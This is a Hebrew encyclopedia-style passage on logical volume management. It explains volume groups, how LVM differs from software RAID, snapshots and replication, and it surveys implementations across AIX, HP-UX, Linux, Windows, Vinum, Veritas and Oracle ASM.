לא ניתן לשתף או לחלק PV-ים ו־LV-ים בין VG-ים שונים (אף על פי שכמה מנהלים עשויים לאפשר העברה שלהם בין VG-ים שונים על אותו מחשב).
מצב זה מאפשר להעבירם למצב פעיל או לא פעיל ולהעביר VG-ים בין מחשבים, כיחידה ניהולית אחת.
תכונות אלו מנוצלות לעיתים קרובות על ידי אשכולות שבדרך כלל משתפים VG-ים שלמים שבהתאם להגדרות האשכול עשויים להיות פעילים או לא פעילים.
ניתן להגדיל VG-ים על ידי קליטת PV-ים חדשים או לכווצם באמצעות הורדת PV-ים, שינוי כזה עשוי להיות כרוך בהזזת LE-ים שכבר הוקצו בתוך PV.
רוב המנהלים יכולים לבצע תהליך זה בזמן הפעילות כך שמתאפשר, ללא השבתה של המערכת (אם החומרה הבסיסית תומכת בהחלפה חמה), לשדרג או להחליף את התקני האחסון, לעיתים יכולת זו מתאפשרת גם תוך כדי שימוש בקבצים המוזזים עצמם.
מנהלי LVM רבים תומכים בארגון של LV-ים כמערכת RAID, כך שניתן להגן על נתונים מפני כשלים בדיסק או להאיץ את הגישה אליהם.
באופן כללי, מערכת ההפעלה מיישמת פונקציות ניהול נפוצות, אשר במידה רבה בלתי תלויות בכל מנהל אחסון או בתוכנת ה־RAID (תוכנה המממשת את ה־RAID בלי חומרה נוספת).
בתלות במערכת ההפעלה נתמכים בדרך כלל RAID 0 (ללא הגנה מפני כשל בדיסק) ו־RAID1 (שיקוף מידע) ובחלק מהמימושים נתמך גם RAID5 (יתירות באמצעות שמירת זוגיות), תכונה הדורשת משאבי מחשוב משמעותיים.
בכמה מערכות (לדוגמה HP-UX ולינוקס), תוכנת ה־RAID ותמיכת ה־LVM ב־RAID הן הרחבות אופציונליות המותקנות וניתנות לשימוש ללא תלות זו בזו (למשל ה־LVM דרוש גם ל־RAID בחומרה).
חלק מהיצרנים דורשים רישיון מיוחד, שניתן בדרך כלל עבור RAID1 ו־RAID5 בנפרד.
גישה שונה לעניין זה היא השילוב של ZFS ב־Solaris שבה יש שילוב הדוק בין ה־LVM ובין תוכנת ה־RAID.
לעיתים תכופות העבודה והתפקוד של ה־LVM ושל תוכנת RAID מעורבבים זה בזה אולם יש תיחום ברור.
תוכנות ה־RAID תמיד מספקות יתירות RAID, ומשום כך תמיד יש מנוע נוסף של ה־RAID היוצר זרמי נתונים נוספים עבור היתירות הדרושה.
האלגוריתמים הנפוצים ביותר הממומשים על ידי תוכנה זו הם RAID1, RAID5 המיישמים שיקוף נתונים וחישוב זוגיות על ידי XOR בהתאמה.
תפוקת הנתונים של מנוע ה־RAID היא גורם חשוב בביצועים מכיוון שתוכנת ה־RAID מייצרת נתונים נוספים.
המשימה של ה־LVM היא מיפוי לוגי של אמצעי אחסון פיזי והשימוש הנפוץ ביותר ב־LVM הוא מיפוי המחיצות למערכות קבצים.
ה־LVM לא מייצר זרמי נתונים נוספים, אין לו מנוע ולכן הוא גם לא מציע יתירות ומשום כך יש צורך רק בחישוב מועט.
לפיכך, הוא כמעט לא משפיע על הביצועים (אף על פי שיש מערכות LVM ש־RAID משולב 0 בהן כהרחבה).
המשימה של מנהלי LVM היא באופן בסיסי להפיץ את זרמי הנתונים של מערכות הקבצים לדיסקים הפיזיים הקשורים אליה (בדומה לפעולת יחידת ניהול זיכרון).
וזאת בניגוד למערכת RAID המפיצה אמנם גם את זרמי הנתונים המקוריים, אך גם מייצרת זרמי נתונים נוספים.
כמה מנהלים מאפשרים שמירה על תמונות של המידע בזמן מסוים באמצעות מדינות העתקה בזמן כתיבה של כל LE, בשיטה זו, המנהל מעתיק את תוכן ה־LE ממש לפני שהוא נדרס על ידי נתונים חדשים.
שיטה זאת שומרת על גרסה ישנה של מידע ב־LV אשר מאוחר יותר יכולה להיות משוחזרת על גבי העותק הנוכחי מהעותק שנעשה בזמן ההעתקה של ה־LV.
מרבית תמונות המידע הן לקריאה בלבד, תמונות מידע שהן לקריאה-כתיבה מאפשרות שינוי של המידע ולכן מאפשרות לגרסאות של ה־LV לסטות מהמקור.
כמה מערכות לינוקס מבוססות מערכות תקליטור חי משתמשות בתמונות כאלו כדי לדמות קריאה-כתיבה על מדיה בעלת גישת קריאה בלבד כמו תקליטור.
חלק מהמנהלים מסוגלים לבצע גם רפליקציות, מה שמאפשר גיבוי של הנתונים באופן קבוע.
למשל ZFS תומך ברפליקציה סינכרונית מקומית, עבור VxVM קיים Veritas Volume Replicator המאפשר הן רפליקציות סינכרוניות והן א-סינכרוניות ואילו Sun StorEdge Availability Suite פועל אמנם ברמת ה־LVM אך הוא תלוי גם בתמיכה של מערכת ה־SAN.
ביצוע שיקוף בין דיסקים מרוחקים שקול למעשה לרפליקציה סינכרונית ברמת הדיסקים הפיזיים שמתבצע על ידי ה־LVM ובמקרה של תמיכה של שימוש בו זמני בכמה רמות RAID (למשל RAID1 על RAID5), אפשר לקבל תוצאה שקולה לרפליקציה סינכרונית רגילה (VxVM אף תומך בחלוקה ל־Plex-ים המקלה על הניהול על מבנה כזה).
AIX, HP-UX, Tru64 תמיכה ב־LVM עם אפשרות להגדיל LV-ים מקוונים ולהפעיל שיקוף עליהם.
המנהל של AIX מתייחס ל־PE-ים כאל מחיצות פיזית ול־LE-ים כמחיצות לוגיות.
לינוקס ה־LVM שוחרר ב־1998 והוא מסתמך על הדגם של HP-UX.
הרחבה מקוונת היא אפשרית, בין השאר, עם מערכות הקבצים הבאים: ext2 ext3, JFS, XFS, ו־ReiserFS (החל מגרסה 3).
כמו כן, ניתן לבצע שיקוף של LV בלי קשר למערכת הקבצים.
בנוסף ליישום LVM של Red Hat זמין גם מנהל EVMS התומך בנוסף ל־LVM בכמעט כל פעילויות האחסון האחרות (מחיצות, RAID וניהול מערכות קבצים).
ניתן להרחיב באופן דינמי הן את מאגר האחסון והן את מערכות הקבצים.
IRIX הן XLV הישן והן XVM החדש מצורפים לגרסה 6.5, אבל להגדרת שיקוף יש צורך ברישיון נוסף (רישיון Plexing)
OS/2, eComStation ה־LVM שוחרר בו זמנית עם גרסת JFS (בשנת 2000).
הניהול יכול להתבצע דרך שורת הפקודה או באמצעות ממשק המשתמש הגרפי.
חלונות 2000 ומעלה ניהול LV כאן הוא למעשה ניהול דיסקים דינמיים שניתן להתקין עליהם את מערכת הקבצים NTFS.
במערכת זו אין מושג של PE או LE והיא תומכת רק ב־RAID0, RAID1, RAID5 או במחיצות משורשרות בדיסק לתוך דיסקים גדולים יותר.
מערכות הקבצים חייבות להיות על מחיצות שלמות (שיכולות להיות הדיסק כולו) והמערכת תומכת בהגדלה של LV-ים דינאמיים מקוונים (אך לא משוקפים).
Vinum הוא LVM שהושפע מהמנהל של Veritas אך לא מבוסס עליו.
הוא פותח בתחילה ל־FreeBSD, הופץ כחלק מגרסה 3.0 וכעת יש לו וגרסאות ל־NetBSD ול־OpenBSD.
המנהל תומך ברמות 0, 1, 5, של RAID וב־JBOD.
Veritas Volume Manager; : תומך במערכות הפעלה מרובות, כולל HP-UX, לינוקס, Solaris וחלונות וכולל ממשקים גרפיים ותווים.
Veritas מציעה גם Cluster Volume Manager המאפשר ניהול LV עבור אשכולות.
שני ה־LVM דורשים רישיון נפרד.
המוצר מתייחס ל־LV-ים כדיסקים, ל־VG-ים כאל קבוצות דיסקים, יש תמיכה ב־PE-ים בעלי גודל שונה הנקראים תת-דיסקים וב־LE-ים המכונים plex-ים.
Oracle Automatic Storage Management (ASM) זהו LVM ייעודי עבור מסד הנתונים אורקל, הכולל תמיכה בפריסה המידע על מספר דיסקים ובשיקוף.
פריסת הנתונים נעשית לא לפי כמות הנתונים, אלא לפי עומס הקלט/פלט.
עומס זה מאוחסן ומנותח באמצעות מאגר פנימי (Automatic Workload Repository - AWR).